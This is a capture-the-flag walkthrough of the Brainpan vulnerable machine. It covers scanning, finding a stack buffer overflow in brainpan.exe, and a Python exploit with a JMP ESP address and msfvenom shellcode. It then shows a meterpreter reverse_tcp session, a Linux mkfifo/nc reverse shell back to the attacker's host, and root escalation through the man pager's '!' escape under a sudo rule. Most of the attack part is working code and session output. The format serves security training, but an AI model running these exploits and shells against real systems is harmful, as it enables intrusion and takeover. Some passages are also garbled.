

# Brainpan

## Buffer Overflow

```
nmap -sV -O -p 1-65535 -A 192.168.141.132
```

```
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-01 13:17 CDT
```

```
Nmap scan report for 192.168.141.132
```

```
Host is up (0.0027s latency).
```

```
Not shown: 65533 closed ports
```

```
PORT      STATE SERVICE VERSION
```

```
9999/tcp  open  abyss?
```

```
| fingerprint-strings:
```

```
|  NULL:
```

```
|  _|_|
```

```
|  |_|_| |_|_| |_|_| |_|_| |_|_| |_|_| |_|_|
```

```
|  |_|_| |_|_| |_|_| |_|_| |_|_| |_|_|
```

```
|  |_|_| |_|_| |_|_| |_|_| |_|_| |_|_| |_|_|
```

```
|  [ _____ WELCOME TO BRAINPAN _____ ]
```

```
|_  ENTER THE PASSWORD
```

```
10000/tcp open  http  SimpleHTTPServer 0.6 (Python 2.7.3)
```

```
|_http-server-header: SimpleHTTP/0.6 Python/2.7.3
```

```
|_http-title: Site doesn't have a title (text/html).
```

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at <https://nmap.org/cgi-bin/submit.cgi?new-service> :

```
SF-Port9999-TCP:V=7.70%I=7%D=11/1%Time=5BDB435F%P=x86_64-pc-linux-gnu%r(NU
```

```
SF:LL,298,"_|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
```

```
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20
```

```
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
```

```
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
```

```
SF:20\n_|\_|\_|\_|\x20\x20\x20\x20_\|\x20\x20_\|\_|\_|\x20\x20\x20\x20_\|\_|\_|\
```

[illegible]

- Nikto v2.1.6

+ Target IP: 192.168.141.132

+ Target Hostname: 192.168.141.132

+ Target Port: 10000

+ Start Time: 2018-11-01 13:26:01 (GMT-5)

+ Server: SimpleHTTP/0.6 Python/2.7.3

+ The anti-clickjacking X-Frame-Options header is not present.

+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS

+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type

+ Python/2.7.3 appears to be outdated (current is at least 2.7.5)

+ SimpleHTTP/0.6 appears to be outdated (current is at least 1.2)

+ OSVDB-3092: /bin/: This might be interesting...

+ OSVDB-3092: /bin/: This might be interesting... possibly a system shell found.

+ Scan terminated: 20 error(s) and 7 item(s) reported on remote host

Directory listing for /bin/

brainpan.exe

## hexdump -C brainpan.exe | less

## Also- Port 9999 abyss

http://192.168.141.132:9999/general.chl+

```
_|          _|
_|_|_| _|_|_| |_|_| |_|_| |_|_| |_|_|
_| _|_|_| _| _|_|_| |_|_| |_|_| |_|_| _|
_| _|_| _| _|_|_| |_|_| |_|_| |_|_| _|
_|_|_| _| _|_|_| |_|_| |_|_|_| |_|_|_| _|
          _|
          _|
```

[ \_\_\_\_\_ WELCOME TO BRAINPAN \_\_\_\_\_ ]

ENTER THE PASSWORD



ACCESS DENIED

ACCESS GRANTED

[+] initializing winsock...

[!] winsock init failed: %d

done.

[!] could not create socket: %d

[+] server socket created.

[!] bind failed: %d

[+] bind done on port %d

[+] waiting for connections.

[+] received connection.

[+] check is %d

[!] accept failed: %d

[+] cleaning up.

-LIBGCCW32-EH-3-SJLJ-GTHR-MINGW32

w32\_sharedptr->size == sizeof(W32\_EH\_SHARED)

../gcc-3.4.5/gcc/config/i386/w32-shared-ptr.c

GetAtomNameA (atom, s, sizeof(s)) != 0

AddAtomA

ExitProcess

FindAtomA

GetAtomNameA

SetUnhandledExceptionFilter

\_\_getmainargs

\_\_p\_\_environ

\_\_p\_\_fmode

\_\_set\_app\_type

\_assert

\_cexit

\_job

\_onexit

\_setmode

Shitstorm looks interesting.....

```
root@kali:~# nc 192.168.141.132 9999
```

```
_l      _l
_l_l_l _l_l_l _l_l_l _l_l_l _l_l_l _l_l_l _l_l_l
_l _l_l_l _l _l_l_l _l_l_l _l_l_l _l_l_l _l
_l _l_l _l _l_l_l_l _l_l_l _l_l_l _l_l_l _l
_l_l_l _l _l_l_l_l _l_l_l_l _l_l_l_l _l_l_l_l _l
      _l
      _l
```

```
[_____ WELCOME TO BRAINPAN _____]
```

```
ENTER THE PASSWORD
```

```
>> shitstorm
```

```
ACCESS GRANTEDroot@kali:~#
```

Access Granted and Connection Closed so the app only checks pass and

closes the connection. That means we exploit the app.

Wine and ollydbg

Run ollydbg and open a NC as above, open the binary

Notice it is returning [get\_reply]. Find that method in the code.

It is followed by LEAVE and RETN. Set a breakpoint on LEAVE and RETN and input "aaaaaaaaaaaa" This means it closes connection right after authentication.

```
31171305 |. 8B45 08    MOV EAX,DWORD PTR SS:[EBP+8>; ||||
31171308 |. 894424 04    MOV DWORD PTR SS:[ESP+4],EA>; ||||
3117130C |. C70424 0030173>MOV DWORD PTR SS:[ESP],brai>; |||| ASCII "[get_reply] s = [%s]
"
31171313 |. E8 E0090000  CALL brainpan.printf    ; ||||\printf
31171318 |. 8B45 08    MOV EAX,DWORD PTR SS:[EBP+8>; ||||
3117131B |. 894424 04    MOV DWORD PTR SS:[ESP+4],EA>; ||||
3117131F |. 8D85 F8FDFFFF LEA EAX,DWORD PTR SS:[EBP-2>; ||||
31171325 |. 890424    MOV DWORD PTR SS:[ESP],EAX ; ||||
31171328 |. E8 C3090000  CALL brainpan.strcpy    ; |||\strcpy
3117132D |. 8D85 F8FDFFFF LEA EAX,DWORD PTR SS:[EBP-2>; ||||
31171333 |. 890424    MOV DWORD PTR SS:[ESP],EAX ; ||||
31171336 |. E8 AD090000  CALL brainpan.strlen    ; |||\strlen
3117133B |. 894424 04    MOV DWORD PTR SS:[ESP+4],EA>; ||
3117133F |. C70424 1830173>MOV DWORD PTR SS:[ESP],brai>; || ASCII "[get_reply] copied %d bytes to buffer
"
31171346 |. E8 AD090000  CALL brainpan.printf    ; ||\printf
3117134B |. 8D85 F8FDFFFF LEA EAX,DWORD PTR SS:[EBP-2>; |
```

31171351 | . C74424 04 3F30>MOV DWORD PTR SS:[ESP+4],br>; |ASCII "shitstorm

"

31171359 | . 890424      MOV DWORD PTR SS:[ESP],EAX ; |

3117135C | . E8 7F090000    CALL brainpan.strcmp      ; \strcmp

In the Buffer notice that beginnning address is pointing to a value 0043F650

EAX FFFFFFFF

ECX 0043F640

EDX 0043F650 ASCII "aaa

"

EBX 7B63AE08 KERNEL32.7B63AE08

ESP 0043F640

EBP 0043F858

ESI 7B63AE08 KERNEL32.7B63AE08

EDI 00000000

EIP 31171361 brainpan.31171361

C 0    ES 002B 32bit 0(FFFFFFFF)

P 0    CS 0023 32bit 0(FFFFFFFF)

A 0    SS 002B 32bit 0(FFFFFFFF)

Z 0    DS 002B 32bit 0(FFFFFFFF)

S 0    FS 006B 32bit 3FFF8000(FFF)

T 0    GS 0063 32bit 0(0)

D 0

O 0    LastErr ERROR\_SUCCESS (00000000)

EFL 00000202 (NO,NB,NE,A,NS,PO,GE,G)

ST0 empty 0.0

ST1 empty 0.0

ST2 empty 0.0

ST3 empty 0.0

ST4 empty 0.0



ST5 empty 0.0  
ST6 empty 0.0  
ST7 empty +INF 7FFF 80000000 00000000  
3 2 1 0 E S P U O Z D I  
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)  
FCW 037F Prec NEAR,64 Mask 1 1 1 1 1 1

Step forward:

EAX FFFFFFFF  
ECX 0043F640  
EDX 0043F650  
EBX 7B63AE08 KERNEL32.7B63AE08  
ESP 0043F85C  
EBP 0043FE78  
ESI 7B63AE08 KERNEL32.7B63AE08  
EDI 00000000  
EIP 31171362 brainpan.31171362  
C 0 ES 002B 32bit 0(FFFFFFFF)  
P 0 CS 0023 32bit 0(FFFFFFFF)  
A 0 SS 002B 32bit 0(FFFFFFFF)  
Z 0 DS 002B 32bit 0(FFFFFFFF)  
S 0 FS 006B 32bit 3FFF8000(FFF)  
T 0 GS 0063 32bit 0(0)  
D 0  
O 0 LastErr ERROR\_SUCCESS (00000000)  
EFL 00000202 (NO,NB,NE,A,NS,PO,GE,G)  
ST0 empty 0.0  
ST1 empty 0.0  
ST2 empty 0.0  
ST3 empty 0.0  
ST4 empty 0.0  
ST5 empty 0.0  
ST6 empty 0.0

ST7 empty +INF 7FFF 80000000 00000000

3 2 1 0 E S P U O Z D I

FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)

FCW 037F Prec NEAR,64 Mask 1 1 1 1 1 1

ESP is pointing to "0043F85C" with a value of 311715EB

So  $0xF85C - 0xF650 = 0x20C = 524$

So providing input longer than 524 chars will break the app.

So here is a python script to break the app:

###

```
import sys,socket
```

```
payload = ("a"*550)
```

```
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
```

```
s.connect((sys.argv[1],int(sys.argv[2])))
```

```
print s.recv(1024)
```

```
s.send(payload)
```

```
print s.recv(1024)
```

```
s.close()
```

```
###
```

But first, if you overload it manually with a's beyond 524 and we check:

```
"0043F85C 61616161"
```

It is written with 61's ('a') and app crashed while trying to read memory EBP 0x61616161:

So you need to find a place to slip in code. You can find your data at 0043F810 and that points to 31171362

What you need now is JMP ESP which is at 311712F3

# Payload would look like

| 524 bytes of garbage | jmp esp address | nop sled (just in case) | shellcode |

## Let's make payload:

```
root@kali:~# msfvenom -p windows/exec CMD=notepad1.exe -b "\x00" -f py
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 224 (iteration=0)
x86/shikata_ga_nai chosen with final size 224
Payload size: 224 bytes
Final size of py file: 1086 bytes
buf = ""
buf += "\xdb\xd9\xd9\x74\x24\xf4\xba\x3d\x27\x1d\x1e\x5d\x33"
buf += "\xc9\xb1\x32\x31\x55\x18\x03\x55\x18\x83\xed\xc1\xc5"
buf += "\xe8\xe2\xd1\x88\x13\x1b\x21\xed\x9a\xfe\x10\x2d\xf8"
buf += "\x8b\x02\x9d\x8a\xde\xae\x56\xde\xca\x25\x1a\xf7\xfd"
buf += "\x8e\x91\x21\x33\x0f\x89\x12\x52\x93\xd0\x46\xb4\xaa"
buf += "\x1a\x9b\xb5\xeb\x47\x56\xe7\xa4\x0c\xc5\x18\xc1\x59"
buf += "\xd6\x93\x99\x4c\x5e\x47\x69\x6e\x4f\xd6\xe2\x29\x4f"
buf += "\xd8\x27\x42\xc6\xc2\x24\x6f\x90\x79\x9e\x1b\x23\xa8"
buf += "\xef\xe4\x88\x95\xc0\x16\xd0\xd2\xe6\xc8\xa7\x2a\x15"
buf += "\x74\xb0\xe8\x64\xa2\x35\xeb\xce\x21\xed\xd7\xef\xe6"
buf += "\x68\x93\xe3\x43\xfe\xfb\xe7\x52\xd3\x77\x13\xde\xd2"
buf += "\x57\x92\xa4\xf0\x73\xff\x7f\x98\x22\xa5\xe2\xa5\x35"
buf += "\x06\xe8\x03\x3d\xaa\xdb\x39\x1c\xa0\x1a\xcf\x1a\x86"
```

```
buf += "\x1d\xcf\x24\xb6\x75\xfe\xaf\x59\x01\xff\x65\x1e\xfd"
buf += "\xb5\x24\x36\x96\x13\xbd\x0b\xfb\xa3\x6b\x4f\x02\x20"
buf += "\x9e\x2f\xf1\x38\xeb\x2a\xbd\xfe\x07\x46\xae\x6a\x28"
buf += "\xf5\xcf\xbe\x46\x96\x5b\x24\xe7\x09\xc0\x97\x29\xac"
buf += "\x70\xbd\x35"
```

and put everything in a python script:

```
import sys,socket

eip = "\xf3\x12\x17\x31 #jmp esp address
buf = "\x90"*10 #nop sled
buf += "\xdb\xd9\xd9\x74\x24\xf4\xba\x3d\x27\x1d\x1e\x5d\x33"
buf += "\xc9\xb1\x32\x31\x55\x18\x03\x55\x18\x83\xed\xc1\xc5"
buf += "\xe8\xe2\xd1\x88\x13\x1b\x21\xed\x9a\xfe\x10\x2d\xf8"
buf += "\x8b\x02\x9d\x8a\xde\xae\x56\xde\xca\x25\x1a\xf7\xfd"
buf += "\x8e\x91\x21\x33\x0f\x89\x12\x52\x93\xd0\x46\xb4\xaa"
buf += "\x1a\x9b\xb5\xeb\x47\x56\xe7\xa4\x0c\xc5\x18\xc1\x59"
buf += "\xd6\x93\x99\x4c\x5e\x47\x69\x6e\x4f\xd6\xe2\x29\x4f"
buf += "\xd8\x27\x42\xc6\xc2\x24\x6f\x90\x79\x9e\x1b\x23\xa8"
buf += "\xef\xe4\x88\x95\xc0\x16\xd0\xd2\xe6\xc8\xa7\x2a\x15"
buf += "\x74\xb0\xe8\x64\xa2\x35\xeb\xce\x21\xed\xd7\xef\xe6"
buf += "\x68\x93\xe3\x43\xfe\xfb\xe7\x52\xd3\x77\x13\xde\xd2"
buf += "\x57\x92\xa4\xf0\x73\xff\x7f\x98\x22\xa5\x2e\xa5\x35"
buf += "\x06\x8e\x03\x3d\xaa\xdb\x39\x1c\xa0\x1a\xcf\x1a\x86"
buf += "\x1d\xcf\x24\xb6\x75\xfe\xaf\x59\x01\xff\x65\x1e\xfd"
buf += "\xb5\x24\x36\x96\x13\xbd\x0b\xfb\xa3\x6b\x4f\x02\x20"
buf += "\x9e\x2f\xf1\x38\xeb\x2a\xbd\xfe\x07\x46\xae\x6a\x28"
buf += "\xf5\xcf\xbe\x46\x96\x5b\x24\xe7\x09\xc0\x97\x29\xac"
buf += "\x70\xbd\x35"
```

```
payload = ("a"*524) + eip + buf

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],int(sys.argv[2])))

print s.recv(1024)

s.send(payload)

print s.recv(1024)

s.close()
```

Create another script with windows reverse tcp payload:

```
msfvenom -p windows/meterpreter/reverse_tcp
LHOST=(attackerIP) LPORT=4444 -b "\x00" -f py
```

started metasploit handler and executed the script:

```
python notepadopen.py (targetIP) 9999
```

```
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.57.1
LHOST => 192.168.57.1
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.57.1:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.57.9
```

```
[*] Meterpreter session 1 opened (192.168.57.1:4444 -> 192.168.57.9:35643) at
2014-06-13 12:13:26 +0200
```

```
meterpreter > ls
```

```
Listing: Z:\home\puck
```

```
=====
```

Mode	Size	Type	Last modified	Name
----	----	----	-----	----
40777/rwxrwxrwx	0	dir	2013-03-06 21:23:44 +0100	.
40777/rwxrwxrwx	0	dir	2013-03-04 17:49:37 +0100	..
100666/rw-rw-rw-	0	fil	2013-03-05 21:27:00 +0100	.bash_history
100666/rw-rw-rw-	220	fil	2013-03-04 17:49:37 +0100	.bash_logout
100666/rw-rw-rw-	3637	fil	2013-03-04 17:49:37 +0100	.bashrc
40777/rwxrwxrwx	0	dir	2013-03-04 19:13:51 +0100	.cache
40777/rwxrwxrwx	0	dir	2013-03-04 19:16:33 +0100	.config
100666/rw-rw-rw-	55	fil	2013-03-05 21:25:15 +0100	.lessht
40777/rwxrwxrwx	0	dir	2013-03-04 19:16:33 +0100	.local
100666/rw-rw-rw-	675	fil	2013-03-04 17:49:37 +0100	.profile
100666/rw-rw-rw-	513	fil	2013-03-06 21:23:43 +0100	checksrv.sh
40777/rwxrwxrwx	0	dir	2013-03-04 20:45:00 +0100	web

```
meterpreter > pwd
```

```
Z:\home\puck
```

```
meterpreter > cd /
```

```
meterpreter > ls
```

```
Listing: Z:\
```

```
=====
```

Mode	Size	Type	Last modified	Name
----	----	----	-----	----
40777/rwxrwxrwx	0	dir	2013-03-04 19:02:15 +0100	bin
40777/rwxrwxrwx	0	dir	2013-03-04 17:19:23 +0100	boot
40777/rwxrwxrwx	0	dir	2014-06-13 14:09:49 +0200	etc
40777/rwxrwxrwx	0	dir	2013-03-04 17:49:37 +0100	home
100666/rw-rw-rw-	15084717	fil	2013-03-04 17:18:57 +0100	initrd.img
100666/rw-rw-rw-	15084717	fil	2013-03-04 17:18:57 +0100	initrd.img.old
40777/rwxrwxrwx	0	dir	2013-03-04 19:04:41 +0100	lib
40777/rwxrwxrwx	0	dir	2013-03-04 16:12:09 +0100	lost+found
40777/rwxrwxrwx	0	dir	2013-03-04 16:12:14 +0100	media
40777/rwxrwxrwx	0	dir	2012-10-09 16:59:43 +0200	mnt
40777/rwxrwxrwx	0	dir	2013-03-04 16:13:47 +0100	opt
40777/rwxrwxrwx	0	dir	2013-03-08 05:07:15 +0100	root
40777/rwxrwxrwx	0	dir	2014-06-13 14:09:53 +0200	run
40777/rwxrwxrwx	0	dir	2013-03-04 17:20:14 +0100	sbin
40777/rwxrwxrwx	0	dir	2012-06-11 16:43:21 +0200	selinux

40777/rwxrwxrwx	0	dir	2013-03-04 16:13:47 +0100	srv
40777/rwxrwxrwx	0	dir	2014-06-13 14:13:01 +0200	tmp
40777/rwxrwxrwx	0	dir	2013-03-04 16:13:47 +0100	usr
40777/rwxrwxrwx	0	dir	2013-03-08 05:13:25 +0100	var
100666/rw-rw-rw-	5180432	fil	2013-02-25 20:32:04 +0100	vmlinuz
100666/rw-rw-rw-	5180432	fil	2013-02-25 20:32:04 +0100	vmlinuz.old

```
meterpreter >
```

I've got the connection and meterpreter session. I've checked few things. I was happily surprised when I discovered that I can access linux folders. Unfortunately I couldn't spawn shell so I decided to netcat reverse shell:

```
> _term
$ msfvenom -p linux/x86/exec CMD="mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.57.1 4444 >/tmp/f" -b "\x00" -f py
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 22 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 132 (iteration=0)
buf = ""
buf += "\xd9\xce\xbd\xde\x40\x6e\xf8\xd9\x74\x24\xf4\x58\x29"
buf += "\xc9\xb1\x1b\x31\x68\x18\x03\x68\x18\x83\xe8\x22\xa2"
buf += "\x9b\x92\xd1\x7b\xfd\x31\x83\x13\xd0\xd6\xc2\x03\x42"
buf += "\x36\xa7\xa3\x93\x20\x68\x56\xfd\xde\xff\x75\xaf\xf6"
buf += "\xb9\x79\x50\x07\x28\x11\x36\x6e\xd4\x8a\x96\x5f\x6c"
buf += "\x38\xa7\xb0\xea\xf9\x24\xae\x86\xdd\x85\x44\x0b\x6e"
buf += "\xf5\xc2\xaf\xa1\x6b\x62\x21\x91\x18\x1c\x9d\xc0\xb7"
buf += "\xfc\xef\x24\x6e\xcc\x73\x37\x0d\x0e\xba\xfe\xe3\x60"
buf += "\x8d\x36\x3c\x53\xd8\x01\x12\x9a\x02\x5a\x5e\xe8\x76"
buf += "\x82\xa0\x3f\x02\xaf\xac\x10\x8c\x2f\x1a\x3c\xd9\xd1"
buf += "\x69\x42"
```

It worked like a charm:

```
> _term
$ nc -l -p 4444 -v
nc: listening on :: 4444 ...
nc: listening on 0.0.0.0 4444 ...
nc: connect to 192.168.57.1 4444 from 192.168.57.9 (192.168.57.9) 35644 [35644]
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1002(puck) gid=1002(puck) groups=1002(puck)
$ python -c 'import pty;pty.spawn("/bin/bash");'
puck@brainpan:/home/puck$ ls -la
ls -la
total 48
drwx----- 7 puck puck 4096 Mar  6 2013 .
drwxr-xr-x 5 root root 4096 Mar  4 2013 ..
```



```

-rw----- 1 puck puck    0 Mar  5 2013 .bash_history
-rw-r--r-- 1 puck puck  220 Mar  4 2013 .bash_logout
-rw-r--r-- 1 puck puck 3637 Mar  4 2013 .bashrc
drwx----- 3 puck puck 4096 Mar  4 2013 .cache
drwxrwxr-x 3 puck puck 4096 Mar  4 2013 .config
-rw----- 1 puck puck   55 Mar  5 2013 .lessht
drwxrwxr-x 3 puck puck 4096 Mar  4 2013 .local
-rw-r--r-- 1 puck puck  675 Mar  4 2013 .profile
drwxrwxr-x 4 puck puck 4096 Jun 13 07:41 .wine
-rwxr-xr-x 1 root root  513 Mar  6 2013 checksrv.sh
drwxrwxr-x 3 puck puck 4096 Mar  4 2013 web
puck@brainpan:/home/puck$ cat checksrv.sh
cat checksrv.sh
#!/bin/bash
# run brainpan.exe if it stops
lsof -i:9999
if [[ $? -eq 1 ]]; then
    pid=`ps aux | grep brainpan.exe | grep -v grep`
    if [[ ! -z $pid ]]; then
        kill -9 $pid
        killall wineserver
        killall winedevice.exe
    fi
    /usr/bin/wine /home/puck/web/bin/brainpan.exe &
fi

# run SimpleHTTPServer if it stops
lsof -i:10000
if [[ $? -eq 1 ]]; then
    pid=`ps aux | grep SimpleHTTPServer | grep -v grep`
    if [[ ! -z $pid ]]; then
        kill -9 $pid
    fi
    cd /home/puck/web
    /usr/bin/python -m SimpleHTTPServer 10000
fi
puck@brainpan:/home/puck$

```

Nothing interesting in user home folder....

>\_ term

```

puck@brainpan:/home/puck$ cd ..
cd ..
puck@brainpan:/home$ ls
ls
anansi puck reynard
puck@brainpan:/home$ ls -la
ls -la
total 20
drwxr-xr-x  5 root    root    4096 Mar  4 2013 .
drwxr-xr-x 22 root    root    4096 Mar  4 2013 ..
drwx-----  4 anansi  anansi 4096 Mar  4 2013 anansi

```

```
drwx----- 7 puck    puck    4096 Mar  6  2013 puck
drwx----- 3 reynard reynard 4096 Mar  4  2013 reynard
```

Two more users in the system....

>\_ term

```
puck@brainpan:/home$ cd /opt
cd /opt
puck@brainpan:/opt$ ls
ls
puck@brainpan:/opt$ ls -la
ls -la
total 8
drwxr-xr-x  2 root root 4096 Mar  4  2013 .
drwxr-xr-x 22 root root 4096 Mar  4  2013 ..
puck@brainpan:/opt$ cd /etc
cd /etc
puck@brainpan:/etc$ cat passwd
cat passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:104::/var/run/dbus:/bin/false
reynard:x:1000:1000:Reynard,,,:/home/reynard:/bin/bash
anansi:x:1001:1001:Anansi,,,:/home/anansi:/bin/bash
puck:x:1002:1002:Puck,,,:/home/puck:/bin/bash
puck@brainpan:/etc$
```

one of them is probably admin:

>\_ term

```
puck@brainpan:/etc$ cat group
cat group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
```

```
adm:x:4:reynard
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:reynard
floppy:x:25:
tape:x:26:
sudo:x:27:reynard
audio:x:29:
dip:x:30:reynard
www-data:x:33:
backup:x:34:
operator:x:37:
list:x:38:
irc:x:39:
src:x:40:
gnats:x:41:
shadow:x:42:
utmp:x:43:
video:x:44:
sasl:x:45:
plugdev:x:46:reynard
staff:x:50:
games:x:60:
users:x:100:
nogroup:x:65534:
libuuid:x:101:
crontab:x:102:
syslog:x:103:
messagebus:x:104:
fuse:x:105:
mlocate:x:106:
ssh:x:107:
reynard:x:1000:
lpadmin:x:108:reynard
smbshare:x:109:reynard
anansi:x:1001:
puck:x:1002:
winbindd_priv:x:110:
puck@brainpan:/etc$
```

```
Looks like there's sudo here :)
```

```
>_ term
```

```
puck@brainpan:/etc$ ls -la sudoers
ls -la sudoers
-r--r----- 1 root root 843 Mar  4 2013 sudoers
puck@brainpan:/etc$
```

Can my user use it:

```
>_ term
puck@brainpan:/etc$ sudo -l
sudo -l
Matching Defaults entries for puck on this host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util
puck@brainpan:/etc$
```

Let's have a look:

```
>_ term
puck@brainpan:/etc$ sudo /home/anansi/bin/anansi_util
sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
    - network
    - proclisp
    - manual [command]
puck@brainpan:/home/puck$
```

"manual" option uses "man" command. I can read everything now:

```
>_ term
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util manual /etc/sudoers
sudo /home/anansi/bin/anansi_util manual /etc/sudoers
/usr/bin/man: manual-/etc/sudoers: No such file or directory
/usr/bin/man: manual_/etc/sudoers: No such file or directory
No manual entry for manual
WARNING: terminal is not fully functional
- (press RETURN)
# # This file MUST be edited with the \u2019visudo\u2019 command as root.
# # Please consider adding local content in /etc/sudoers.d/ in\u2010
stead of # directly modifying this file. # # See the man page
for details on how to write a sudoers file. # De\u2010
faults      env_reset      Defaults      mail_badpass  De\u2010
faults      secure_path="/usr/local/sbin:/usr/lo\u2010
cal/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification root    ALL=(ALL) ALL anan\u2010
```

```
si ALL=NOPASSWD: /home/anansi/bin/anansi_util
puck ALL=NOPASSWD: /home/anansi/bin/anansi_util # Members of
the admin group may gain root privileges %admin ALL=(ALL) ALL
```

```
# Allow members of group sudo to execute any command #%su\u2010
do ALL=(ALL:ALL) ALL
```

```
# See sudoers(5) for more information on "#include" directives:
Manual page sudoers line 1 (press h for help or q to quit)q
puck@brainpan:/etc$
```

I've got some hunch that there's more here than meets the eye. I went through google looking for some tricks with "man" and guess what I have found [here](#):

**3. Test commands without leaving the man page.** Another cool trick is to use ! if you want to try something you just read in the man page. The best part is that you don't have to close the man page or open another terminal. Type ! and next type the command you want to try. Once finished hit Enter to go back to the man page.

Yes, that's mean I can do:

```
> _ term
```

```
puck@brainpan:/etc$ sudo /home/anansi/bin/anansi_util manual vi
```

```
sudo /home/anansi/bin/anansi_util manual vi
```

```
No manual entry for manual
```

```
WARNING: terminal is not fully functional
```

```
- (press RETURN)
```

```
VIM(1)
```

```
VIM(1)
```

```
NAME
```

```
vim - Vi IMproved, a programmers text editor
```

```
SYNOPSIS
```

```
vim [options] [file ..]
```

```
vim [options] -
```

```
vim [options] -t tag
```

```
vim [options] -q [errorfile]
```

```
ex
```

```
view
```

```
gvim gview evim eview
```

```
rvim rview rgvim rgview
```

```
DESCRIPTION
```

Vim is a text editor that is upwards compatible to Vi. It can be used to edit all kinds of plain text. It is especially useful for editing programs.

There are a lot of enhancements above Vi: multi level undo, multi win\u2010

dows and buffers, syntax highlighting, command line editing, filename

Manual page vi(1) line 1 (press h for help or q to quit)e

completion, on-line help, visual selection, etc.. See ":help

vi\_diff.txt" for a summary of the differences between Vim and Vi.

Manual page vi(1) line 5 (press h for help or q to quit)!/bin/bash

```
!/bin/bash
root@brainpan:/usr/share/man# id
id
uid=0(root) gid=0(root) groups=0(root)
root@brainpan:/home/puck# whoami
whoami
root
root@brainpan:/home/puck#
```

and enjoy my new fresh root :) Just so you know...there's another way to gain root but that's a topic for another story.